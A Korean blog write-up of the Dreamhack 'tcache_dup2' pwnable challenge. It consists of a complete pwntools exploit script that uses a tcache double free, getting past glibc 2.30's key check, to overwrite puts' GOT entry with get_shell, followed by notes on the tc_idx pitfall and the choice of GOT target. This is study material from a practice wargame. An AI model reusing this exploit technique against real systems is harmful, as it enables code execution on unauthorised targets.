[포너블] Tcache dup2

Chris Kim·2024년 10월 26일

시스템해킹

목록 보기
29/33

1. 익스플로잇 코드

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"

p = remote('host3.dreamhack.games',24532)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')

def create(size, data):
 p.sendlineafter(b'> ', b'1')
 p.sendlineafter(b': ', str(size).encode())
 p.sendafter(b': ', data)

def modify(idx, size, data): 
 p.sendlineafter(b'> ', b'2')
 p.sendlineafter(b': ', str(idx).encode())
 p.sendlineafter(b': ', str(size).encode())
 p.sendafter(b': ', data)

def delete(idx):
 p.sendlineafter(b'> ', b'3')
 p.sendlineafter(b': ', str(idx).encode())


get_shell = e.symbols['get_shell']
puts_got = e.got['puts']


create(16, b'AAAAAAAA')
create(16, b'AAAAAAAA')
delete(0)
delete(1)

modify(1, 16, b'BBBBBBBB'+b'\x00')
delete(1)

create(16, p64(puts_got))
create(16, b'CCCCCCCC')
create(16, p64(get_shell))

p.interactive()

2. 해설

  • tcache_dup 문제와 풀이는 비슷하다. 다만 이번 문제에서는 DFB를 탐지하기 때문에 key값을 조정해주어야 한다. 다행히 modify가 있어서 dangling pointer를 이용해 key를 수정해 주었다. 이로써 DFB가 가능하고 puts_gotget_shell 주소를 넣었다.

  • 하지만 이 문제의 Glibc 2.30이다. 이 점이 조금 찝찝했는데 아니나 다를까 처음 작성한 익스플로잇 코드에서는 청크를 할당하고 시작했는데, 익스플로잇이 되질 않은것이다. 원인을 찾아보니 tc_idx 때문이라고 하는데, 이 이유를 여기서 찾았다.

  • printf_got, free_got 가 아닌 puts_got를 덮어쓴 이유는 여기에 있다. 요약해서 말하자면 GOT 주소를 청크로 할당하면서, get_shell함수로 데이터 영역을 덮어쓰면(16바이트), 8바이트 뒤에 있는 다른 함수의 GOT가 Null이 되기 떄문이다. 따라서 GOT가 변경되도 내가 원하는 실행흐름과 관계없는 함수를 찾아야한다.

profile
회계+IT=???

0개의 댓글